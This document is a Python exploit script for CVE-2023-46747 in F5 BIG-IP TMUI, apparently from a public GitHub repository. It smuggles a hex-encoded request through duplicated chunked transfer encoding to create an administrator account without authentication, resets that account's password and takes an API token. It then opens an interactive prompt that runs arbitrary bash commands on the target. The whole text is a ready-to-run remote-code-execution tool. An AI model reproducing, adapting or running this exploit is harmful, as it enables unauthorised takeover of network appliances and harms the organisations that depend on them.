README.md
Rendering markdown...
import argparse
import binascii
import json
import random
import time
import urllib3
import requests
urllib3.disable_warnings()
def determineWhetherToUseBurpSuite(proxyUrl):
try:
faviconUrl = f"{proxyUrl}/favicon.ico"
resp = requests.get(faviconUrl, verify=False, timeout=5)
if resp.status_code == 200:
return True
else:
return False
except:
return False
def generatesth(num):
charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
return ''.join(random.choice(charset) for _ in range(num))
def get_random_agent():
agent_list = [
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'
]
return random.choice(agent_list)
def unauth_create_user(target, username, password, proxy):
login_request_hex = "0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d0000093132372e302e302e310000096c6f63616c686f73740000096c6f63616c686f7374000050000003000b546d75692d44756262756600000b424242424242424242424200000a52454d4f5445524f4c450000013000a00b00096c6f63616c686f73740003000561646d696e000501715f74696d656e6f773d61265f74696d656e6f775f6265666f72653d2668616e646c65723d253266746d756925326673797374656d25326675736572253266637265617465262626666f726d5f706167653d253266746d756925326673797374656d253266757365722532666372656174652e6a737025336626666f726d5f706167655f6265666f72653d26686964654f626a4c6973743d265f62756676616c75653d65494c3452556e537758596f5055494f47634f4678326f30305863253364265f62756676616c75655f6265666f72653d2673797374656d757365722d68696464656e3d5b5b2241646d696e6973747261746f72222c225b416c6c5d225d5d2673797374656d757365722d68696464656e5f6265666f72653d266e616d653d" + binascii.hexlify(username.encode()).decode() + "266e616d655f6265666f72653d267061737377643d" + binascii.hexlify(password.encode()).decode() + "267061737377645f6265666f72653d2666696e69736865643d782666696e69736865645f6265666f72653d00ff00"
login_data = b"204\r\n" + binascii.unhexlify(login_request_hex) + b"\r\n0\r\n\r\n"
url = f"{target}/tmui/login.jsp"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Transfer-Encoding": "chunked, chunked",
"User-Agent": get_random_agent()
}
try:
resp = requests.post(url=url, headers=headers, data=login_data, verify=False, proxies=proxy)
time.sleep(5)
if resp.status_code == 200:
return True
else:
return False
except:
return False
def reset_passwd(target, user, passwd, proxy):
url = f"{target}/mgmt/tm/auth/user/{user}"
headers ={
"Content-Type": "application/json"
}
target_json = {
"password": f"{passwd}"
}
try:
resp = requests.patch(url=url, headers=headers, json=target_json, verify=False, proxies=proxy, auth=(f"{user}", f"{passwd}"))
time.sleep(5)
if resp.status_code == 200:
return 1
else:
return ""
except:
return ""
def get_token(target, user, passwd, proxy):
url = f"{target}/mgmt/shared/authn/login"
headers = {
"Content-Type": "application/json"
}
target_json = {
"username": user,
"password": passwd
}
try:
resp = requests.post(url=url, headers=headers, json=target_json, verify=False, proxies=proxy)
time.sleep(5)
if resp.status_code == 200:
return json.loads(resp.content.decode())["token"]["token"]
else:
return ""
except:
return ""
def exec_command(target, token, cmd, proxy):
url = f"{target}/mgmt/tm/util/bash"
headers = {
"X-F5-Auth-Token": token
}
cmd_json = {
"command": "run",
"utilCmdArgs": f"-c \"{cmd}\""
}
try:
resp = requests.post(url=url, headers=headers, json=cmd_json, verify=False, proxies=proxy)
if resp.status_code == 200:
return json.loads(resp.content.decode())["commandResult"].rstrip('\n')
else:
return ""
except:
return ""
def exploit(t, proxy):
u = generatesth(5)
p = generatesth(12)
print(f"\033[94m[*] start to attack: {t}\033[0m")
if unauth_create_user(t, u, p, proxy):
print(f"\033[94m[*] It seems that the user may have been successfully created without authorization and is trying to obtain a token to verify.\033[0m")
print(f"\033[94m[*] Changing initial password to the same thing. Required for first login.")
pw_change = reset_passwd(t, u, p, proxy)
if pw_change != "":
token = get_token(t, u, p, proxy)
if token != "":
print(f"\033[92m[+] username: [{u}], password: [{p}], token: [{token}]. The website has vulnerability CVE-2023-46747!\033[0m")
print("\033[94m[*] start executing commands freely~\033[0m")
time.sleep(2)
while True:
c = input("\033[93mCVE-2023-46747-RCE@W01fh4cker# \033[0m")
if c != "":
result = exec_command(t, token, c, proxy)
retry_time = 0
if result != "":
print(result)
else:
while retry_time < 10:
result = exec_command(t, token, c, proxy)
if result != "":
print(result)
break
else:
if retry_time == 9 and result == "":
print(f"\033[91m[-] username: [{u}], password: [{p}], command: [{c}], token: [{token}]. The command [{c}] failed to execute. Please check your network or try manual exploitation.\033[0m")
retry_time += retry_time + 1
print(f"\033[91m --> [-] The command [{c}] failed to execute. Attempting {retry_time}th retry.\033[0m")
else:
continue
else:
print(f"\033[91m[-] username: [{u}], password: [{p}]. Failed to obtain token. There is a high probability that this website does not have vulnerability CVE-2023-46747. Please try again or test manually by yourself.\033[0m")
else:
print(f"\033[91m[-] username: [{u}], password: [{p}]. Unable to change initial password.\033[0m")
else:
print("\033[91m[-] There is no vulnerability in this site.\033[0m")
if __name__ == "__main__":
banner = """
______ _______ ____ ___ ____ _____ _ _ __ _____ _ _ _____
/ ___\ \ / / ____| |___ \ / _ \___ \|___ / | || | / /|___ | || |___ |
| | \ \ / /| _| _____ __) | | | |__) | |_ \ _____| || |_| '_ \ / /| || |_ / /
| |___ \ V / | |__|_____/ __/| |_| / __/ ___) |_____|__ _| (_) / / |__ _/ /
\____| \_/ |_____| |_____|\___/_____|____/ |_| \___/_/ |_|/_/
Author: W01fh4cker
Blog: https://w01fh4cker.github.io
"""
print(banner)
parser = argparse.ArgumentParser(description="F5 BIG-IP TMUI remote code execution vulnerability CVE-2023-46747 Written By W01fh4cker",add_help="eg: python CVE-2023-46747-RCE.py -u https://192.168.149.150:8443/")
parser.add_argument("-u", "--url", help="target URL", required=True)
parser.add_argument("-p", "--proxy", help="proxy, eg: http://127.0.0.1:7890")
args = parser.parse_args()
if args.url.endswith("/"):
url = args.url[:-1]
else:
url = args.url
if args.proxy:
if args.proxy.startswith("http"):
if determineWhetherToUseBurpSuite(args.proxy):
print("\033[94m[*] DO NOT USE BURPSUITE!!! For details, please see https://github.com/W01fh4cker/CVE-2023-46747-RCE/issues/3\033[0m")
exit(0)
proxy = {
'http': args.proxy,
'https': args.proxy
}
else:
proxy = {}
exploit(url, proxy)